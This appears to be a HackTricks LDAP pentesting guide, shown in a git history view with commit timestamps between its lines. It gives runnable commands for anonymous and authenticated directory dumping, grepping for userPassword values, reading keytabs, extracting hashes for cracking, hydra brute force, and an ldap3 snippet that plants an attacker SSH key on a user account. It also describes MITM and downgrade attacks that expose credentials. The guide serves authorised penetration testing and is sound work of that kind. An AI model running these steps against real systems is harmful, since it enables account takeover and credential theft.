hacktricks/network-services-pentesting/pentesting-ldap.md

442 lines
17 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# 389, 636, 3268, 3269 - Pentesting LDAP
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
<summary>Support HackTricks</summary>
2024-01-03 10:42:55 +00:00
2024-07-19 09:08:05 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-19 09:08:05 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-02-08 21:36:15 +00:00
The use of **LDAP** (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
2024-02-08 21:36:15 +00:00
LDAP directories are structured to allow their distribution across several servers, with each server housing a **replicated** and **synchronized** version of the directory, referred to as a Directory System Agent (DSA). Responsibility for handling requests lies entirely with the LDAP server, which may communicate with other DSAs as needed to deliver a unified response to the requester.
2024-02-08 21:36:15 +00:00
The LDAP directory's organization resembles a **tree hierarchy, starting with the root directory at the top**. This branches down to countries, which further divide into organizations, and then to organizational units representing various divisions or departments, finally reaching the individual entities level, including both people and shared resources like files and printers.
**Default port:** 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS.
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
2022-05-01 13:25:53 +00:00
### LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format) defines the directory content as a set of records. It can also represent update requests (Add, Modify, Delete, Rename).
```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
* Lines 1-3 define the top level domain local
* Lines 5-8 define the first level domain moneycorp (moneycorp.local)
* Lines 10-16 define 2 organizational units: dev and sales
* Lines 18-26 create an object of the domain and assign attributes with values
2022-10-05 21:51:12 +00:00
## Write data
2022-10-05 00:11:28 +00:00
2022-10-05 21:51:12 +00:00
Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you **can change the "sshPublicKey" information** of your user or any user. It's highly probable that if this attribute exist, then **ssh is reading the public keys from LDAP**. If you can modify the public key of a user you **will be able to login as that user even if password authentication is not enabled in ssh**.
```bash
2024-02-05 02:29:11 +00:00
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
2022-10-05 21:51:12 +00:00
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
2022-10-05 21:51:12 +00:00
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
2022-10-05 21:51:12 +00:00
## Sniff clear text credentials
2022-08-04 10:07:55 +00:00
2022-10-05 21:51:12 +00:00
If LDAP is used without SSL you can **sniff credentials in plain text** in the network.
Also, you can perform a **MITM** attack in the network **between the LDAP server and the client.** Here you can make a **Downgrade Attack** so the client with use the **credentials in clear text** to login.
**If SSL is used** you can try to make **MITM** like the mentioned above but offering a **false certificate**, if the **user accepts it**, you are able to Downgrade the authentication method and see the credentials again.
## Anonymous Access
### Bypass TLS SNI check
According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
```bash
2022-10-05 21:51:12 +00:00
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
2022-10-05 21:51:12 +00:00
### LDAP anonymous binds
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **unauthenticated attackers** to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a **legacy configuration**, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests.\
2022-10-05 21:51:12 +00:00
However, admins may have needed to **set up a particular application to allow anonymous binds** and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.
## Valid Credentials
If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
2022-10-05 00:11:28 +00:00
```bash
2022-10-05 21:51:12 +00:00
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
2022-10-05 00:11:28 +00:00
```
2022-10-04 23:49:59 +00:00
2022-10-05 21:51:12 +00:00
### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap)
## Enumeration
2022-10-04 23:49:59 +00:00
### Automated
Using this you will be able to see the **public information** (like the domain name)**:**
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
2022-10-05 21:51:12 +00:00
### Python
2022-10-04 23:49:59 +00:00
2022-10-05 21:51:12 +00:00
<details>
<summary>See LDAP enumeration with python</summary>
You can try to **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3`
First try to **connect without** credentials:
2022-10-04 23:49:59 +00:00
```bash
>>> import ldap3
2022-10-05 21:51:12 +00:00
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
2022-10-04 23:49:59 +00:00
>>> connection.bind()
True
2022-10-05 21:51:12 +00:00
>>> server.info
2022-10-04 23:49:59 +00:00
```
2022-10-05 21:51:12 +00:00
If the response is `True` like in the previous example, you can obtain some **interesting data** of the LDAP (like the **naming context** or **domain name**) server from:
2022-10-04 23:49:59 +00:00
2022-10-05 21:51:12 +00:00
```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
2022-10-04 23:49:59 +00:00
2022-10-05 21:51:12 +00:00
Once you have the naming context you can make some more exciting queries. This simply query should show you all the objects in the directory:
2022-10-05 00:11:28 +00:00
2022-10-05 21:51:12 +00:00
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
2022-10-05 00:11:28 +00:00
2022-10-05 21:51:12 +00:00
Or **dump** the whole ldap:
2022-10-04 23:49:59 +00:00
```bash
2022-10-05 21:51:12 +00:00
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
2022-10-04 23:49:59 +00:00
```
2022-10-05 21:51:12 +00:00
</details>
2022-10-04 23:49:59 +00:00
2022-10-05 21:51:12 +00:00
### windapsearch
2022-10-04 23:49:59 +00:00
2024-02-08 21:36:15 +00:00
[**Windapsearch**](https://github.com/ropnop/windapsearch) is a Python script useful to **enumerate users, groups, and computers from a Windows** domain by utilizing LDAP queries.
2022-10-04 23:49:59 +00:00
```bash
2022-10-05 21:51:12 +00:00
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
2022-10-04 23:49:59 +00:00
```
2022-10-05 21:51:12 +00:00
### ldapsearch
Check null credentials or if your credentials are valid:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```
```bash
2022-05-01 12:49:36 +00:00
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
```
If you find something saying that the "_bind must be completed_" means that the credentials are incorrect.
You can extract **everything from a domain** using:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
2022-07-13 14:08:05 +00:00
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```
Extract **users**:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
Extract **computers**:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extract **my info**:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extract **Domain Admins**:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extract **Domain Users**:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extract **Enterprise Admins**:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extract **Administrators**:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extract **Remote Desktop Group**:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
To see if you have access to any password you can use grep after executing one of the queries:
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
Please, notice that the passwords that you can find here could not be the real ones...
2022-05-01 13:25:53 +00:00
#### pbis
You can download **pbis** from here: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) and it's usually installed in `/opt/pbis`.\
**Pbis** allow you to get basic information easily:
```bash
2021-01-19 17:57:39 +00:00
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
2021-01-06 00:15:17 +00:00
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
2021-01-06 00:15:17 +00:00
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
```
2022-05-01 13:25:53 +00:00
## Graphical Interface
2022-05-01 13:25:53 +00:00
### Apache Directory
2020-09-13 20:20:14 +00:00
2022-04-05 22:24:52 +00:00
[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
2020-09-13 20:20:14 +00:00
2022-05-01 13:25:53 +00:00
### jxplorer
2020-09-13 20:20:14 +00:00
You can download a graphical interface with LDAP server here: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
By default is is installed in: _/opt/jxplorer_
2024-05-05 17:56:05 +00:00
![](<../.gitbook/assets/image (482).png>)
### Godap
You can access it in [https://github.com/Macmod/godap](https://github.com/Macmod/godap)
2022-05-01 13:25:53 +00:00
## Authentication via kerberos
Using `ldapsearch` you can **authenticate** against **kerberos instead** of via **NTLM** by using the parameter `-Y GSSAPI`
2022-05-01 13:25:53 +00:00
## POST
If you can access the files where the databases are contained (could be in _/var/lib/ldap_). You can extract the hashes using:
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural').
2022-05-01 13:25:53 +00:00
### Configuration Files
* General
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
* IBM SecureWay V3 server
* V3.sas.oc
* Microsoft Active Directory server
* msadClassesAttrs.ldif
* Netscape Directory Server 4
2022-05-01 13:25:53 +00:00
* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
* OpenLDAP directory server
2022-05-01 13:25:53 +00:00
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
* Sun ONE Directory Server 5.1
* 75sas.ldif
2022-05-01 13:25:53 +00:00
## HackTricks Automatic Commands
2021-08-12 13:06:00 +00:00
```
2021-08-12 13:06:00 +00:00
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
2021-08-15 17:52:05 +00:00
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
2024-02-08 21:36:15 +00:00
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
2021-08-15 17:52:05 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
2022-07-13 14:08:05 +00:00
Command: ldapsearch -H ldap://{IP} -x
2021-08-15 17:52:05 +00:00
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
2022-07-13 14:08:05 +00:00
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
2021-08-15 17:52:05 +00:00
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
2022-07-13 14:08:05 +00:00
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
2021-09-13 15:45:07 +00:00
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
2021-08-12 13:06:00 +00:00
```
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
<summary>Support HackTricks</summary>
2024-01-03 10:42:55 +00:00
2024-07-19 09:08:05 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-19 09:08:05 +00:00
{% endhint %}